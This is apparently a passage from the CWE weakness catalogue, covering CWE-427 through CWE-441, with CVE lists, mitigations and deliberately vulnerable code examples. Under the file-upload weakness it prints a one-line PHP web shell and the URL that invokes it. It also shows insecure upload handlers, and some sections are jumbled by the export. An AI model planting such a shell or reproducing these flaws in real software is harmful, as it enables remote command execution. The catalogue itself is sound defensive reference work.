CVE-2010-3147	"DLL hijacking" issue in address book. *https://www.cve.org/CVERecord?id=CVE-2010-3147*
CVE-2010-3135	"DLL hijacking" issue in network monitoring software. *https://www.cve.org/CVERecord?id=CVE-2010-3135*
CVE-2010-3131	"DLL hijacking" issue in web browser. *https://www.cve.org/CVERecord?id=CVE-2010-3131*
CVE-2010-1795	"DLL hijacking" issue in music player/organizer.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2010-1795
CVE-2002-1576	Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program. *https://www.cve.org/CVERecord?id=CVE-2002-1576*
CVE-1999-1461	Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicous version of that program. *https://www.cve.org/CVERecord?id=CVE-1999-1461*
CVE-1999-1318	Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs. *https://www.cve.org/CVERecord?id=CVE-1999-1318*
CVE-2003-0579	Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user. *https://www.cve.org/CVERecord?id=CVE-2003-0579*
CVE-2000-0854	When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document. *https://www.cve.org/CVERecord?id=CVE-2000-0854*
CVE-2001-0943	Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs. *https://www.cve.org/CVERecord?id=CVE-2001-0943*
CVE-2001-0942	Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable. *https://www.cve.org/CVERecord?id=CVE-2001-0942*
CVE-2001-0507	Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file. *https://www.cve.org/CVERecord?id=CVE-2001-0507*
CVE-2002-2017	Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program. *https://www.cve.org/CVERecord?id=CVE-2002-2017*
CVE-1999-0690	Product includes the current directory in root's PATH variable. *https://www.cve.org/CVERecord?id=CVE-1999-0690*
CVE-2001-0912	Error during packaging causes product to include a hard-coded, non-standard directory in search path. *https://www.cve.org/CVERecord?id=CVE-2001-0912*
CVE-2001-0289	Product searches current working directory for configuration file. *https://www.cve.org/CVERecord?id=CVE-2001-0289*
CVE-2005-1705	Product searches current working directory for configuration file. *https://www.cve.org/CVERecord?id=CVE-2005-1705*
CVE-2005-1307	Product executable other program from current working directory. *https://www.cve.org/CVERecord?id=CVE-2005-1307*
CVE-2002-2040	Untrusted path. *https://www.cve.org/CVERecord?id=CVE-2002-2040*
CVE-2005-2072	Modification of trusted environment variable leads to untrusted path vulnerability. *https://www.cve.org/CVERecord?id=CVE-2005-2072*
CVE-2005-1632	Product searches /tmp for modules before other paths. *https://www.cve.org/CVERecord?id=CVE-2005-1632*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2453
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2565

Notes

Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Theoretical

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

CWE-428: Unquoted Search Path or Element

Weakness ID : 428
Structure : Simple
Abstraction : Base

Description

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
PeerOf	B	426	Untrusted Search Path	1036

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2517

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Operating_System : Windows NT *(Prevalence = Sometimes)*

Operating_System : macOS *(Prevalence = Rarely)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Properly quote the full search path before executing a program on the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

Reference	Description
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:. *https://www.cve.org/CVERecord?id=CVE-2005-1185*
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C: *https://www.cve.org/CVERecord?id=CVE-2005-2938*

Reference	Description
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe. *https://www.cve.org/CVERecord?id=CVE-2000-1128*

Functional Areas

- Program Invocation

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2446
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2565

Notes

Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

CWE-430: Deployment of Wrong Handler

Weakness ID : 430
Structure : Simple
Abstraction : Base

Description

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1529
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	1056
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	1056
CanPrecede	V	433	Unparsed Raw Web Content Delivery	1054

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	2363

Weakness Ordinalities

Resultant : This weakness is usually resultant from other weaknesses.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting an object.

Phase: Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

Observed Examples

Reference	Description
CVE-2001-0004	Source code disclosure via manipulated file extension that causes parsing by wrong DLL. *https://www.cve.org/CVERecord?id=CVE-2001-0004*
CVE-2002-0025	Web browser does not properly handle the Content-Type header field, causing a different application to process the document. *https://www.cve.org/CVERecord?id=CVE-2002-0025*
CVE-2000-1052	Source code disclosure by directly invoking a servlet. *https://www.cve.org/CVERecord?id=CVE-2000-1052*
CVE-2002-1742	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler. *https://www.cve.org/CVERecord?id=CVE-2002-1742*

CWE-431: Missing Handler

Weakness ID : 431
Structure : Simple
Abstraction : Base

Description

A handler is not available or implemented.

Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1529
CanPrecede	V	433	Unparsed Raw Web Content Delivery	1054

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Handle all possible situations (e.g. error condition).

Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

Demonstrative Examples

Example 1:

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
   String ip = req.getRemoteAddr();
   InetAddress addr = InetAddress.getByName(ip);
   ...
   out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

Observed Examples

Reference	Description
CVE-2022-25302	SDK for OPC Unified Architecture (OPC UA) is missing a handler for when a cast fails, allowing for a crash *https://www.cve.org/CVERecord?id=CVE-2022-25302*

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID : 432
Structure : Simple
Abstraction : Base

Description

The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	907

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Turn off dangerous handlers when performing sensitive operations.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2457
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2563

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
PLOVER			Dangerous handler not cleared/ disabled during sensitive operations

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID : 433
Structure : Simple
Abstraction : Variant

Description

The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	219	Storage of File with Sensitive Data Under Web Root	561
CanFollow	B	178	Improper Handling of Case Sensitivity	451
CanFollow	B	430	Deployment of Wrong Handler	1050
CanFollow	B	431	Missing Handler	1052

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting files.

Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(Bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Observed Examples

Reference	Description
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server *https://www.cve.org/CVERecord?id=CVE-2002-1886*

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	2363

Weakness Ordinalities

Primary : This can be primary when there is no check for the file type at all.

Resultant : This can be resultant when use of double extensions (e.g. ".php.gif") bypasses a check.

Resultant : This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Applicable Platforms

Language : ASP.NET *(Prevalence = Sometimes)*

Language : PHP *(Prevalence = Often)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Sometimes)*

Alternate Terms

Unrestricted File Upload : Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for web-server extensions such as .asp and .php because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.*

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy = Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a

single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

Example Language: HTML *(Good)*

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

Example Language: PHP *(Bad)*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
   echo "The picture has been successfully uploaded.";
}
else
{
   echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

Example Language: *(Attack)*

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

Example Language: PHP *(Attack)*

```
<?php
   system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

Example Language: *(Attack)*

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML *(Good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(Bad)*

```
public class FileUploadServlet extends HttpServlet {
   ...
   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
   IOException {
      response.setContentType("text/html");
      PrintWriter out = response.getWriter();
      String contentType = request.getContentType();
      // the starting position of the boundary header
      int ind = contentType.indexOf("boundary=");
      String boundary = contentType.substring(ind+9);
      String pLine = new String();
      String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
      // verify that content type is multipart form data
      if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
         // extract the filename from the Http header
         BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
         ...
         pLine = br.readLine();
         String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
         ...
         // output the file to the local upload directory
         try {
```

```
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
              if (line.indexOf(boundary) == -1) {
                bw.write(line);
                bw.newLine();
                bw.flush();
              }
            } //end of for loop
            bw.close();
          } catch (IOException ex) {...}
          // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
      }
        ...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2023-5227	PHP-based FAQ management app does not check the MIME type for uploaded images *https://www.cve.org/CVERecord?id=CVE-2023-5227*

Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

Weakness ID : 435
Structure : Simple
Abstraction : Pillar

Description

An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.

Extended Description

When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	2435
MemberOf	C	1398	Comprehensive Categorization: Component Interaction	1400	2561

Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

CWE-436: Interpretation Conflict

Weakness ID : 436
Structure : Simple
Abstraction : Class

Description

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-437: Incomplete Model of Endpoint Features

Weakness ID : 437
Structure : Simple
Abstraction : Base

Description

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	436	Interpretation Conflict	1066

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2364

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Demonstrative Examples

Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

MemberOf Relationships

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Demonstrative Examples

Example 1:

The provided code is extracted from the Control and Status Register (CSR), csr_regfile, module within the Hack@DAC'21 OpenPiton System-on-Chip (SoC). This module is designed to implement CSR registers in accordance with the RISC-V specification. The mie (machine interrupt enable) register is a 64-bit register [REF-1384], where bits correspond to different interrupt sources. As the name suggests, mie is a machine-level register that determines which interrupts are enabled. Note that in the example below the mie_q and mie_d registers represent the conceptual mie reigster in the RISC-V specification. The mie_d register is the value to be stored in the mie register while the mie_q register holds the current value of the mie register [REF-1385].

The mideleg (machine interrupt delegation) register, also 64-bit wide, enables the delegation of specific interrupt sources from machine privilege mode to lower privilege levels. By setting specific bits in the mideleg register, the handling of certain interrupts can be delegated to lower privilege levels without engaging the machine-level privilege mode. For example, in supervisor mode, the mie register is limited to a specific register called the sie (supervisor interrupt enable) register. If delegated, an interrupt becomes visible in the sip (supervisor interrupt pending) register and can be enabled or blocked using the sie register. If no delegation occurs, the related bits in sip and sie are set to zero.

The sie register value is computed based on the current value of mie register, i.e., mie_q, and the mideleg register.

Example Language: Verilog *(Bad)*

```
module csr_regfile #(...)(...);
...
// ----------------------------
// CSR Write and update logic
```

```
// ---------------------------
...
   if (csr_we) begin
      unique case (csr_addr.address)
      ...
         riscv::CSR_SIE: begin
            // the mideleg makes sure only delegate-able register
            //(and therefore also only implemented registers) are written
            mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q) | utval_q;
         end
         ...
      endcase
   end
endmodule
```

The above code snippet illustrates an instance of a vulnerable implementation of the sie register update logic, where users can tamper with the mie_d register value through the utval (user trap value) register. This behavior violates the RISC-V specification.

The code shows that the value of utval, among other signals, is used in updating the mie_d value within the sie update logic. While utval is a register accessible to users, it should not influence or compromise the integrity of sie. Through manipulation of the utval register, it becomes feasible to manipulate the sie register's value. This opens the door for potential attacks, as an adversary can gain control over or corrupt the sie value. Consequently, such manipulation empowers an attacker to enable or disable critical supervisor-level interrupts, resulting in various security risks such as privilege escalation or denial-of-service attacks.

A fix to this issue is to remove the utval from the right-hand side of the assignment. That is the value of the mie_d should be updated as shown in the good code example [REF-1386].

Example Language: Verilog *(Good)*

```
module csr_regfile #(...)(...);
...
// ---------------------------
// CSR Write and update logic
// ---------------------------
...
   if (csr_we) begin
      unique case (csr_addr.address)
      ...
         riscv::CSR_SIE: begin
            // the mideleg makes sure only delegate-able register
            //(and therefore also only implemented registers) are written
            mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q);
         end
         ...
      endcase
   end
endmodule
```

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID : 441
Structure : Simple
Abstraction : Class

Description

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

Extended Description

If an attacker cannot directly contact a target, but the product has access to the target, then the attacker can send a request to the product and have it be forwarded to the target. The request would appear to be coming from the product's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

- The product runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
- The attacker is prevented from making the request directly to the target; and
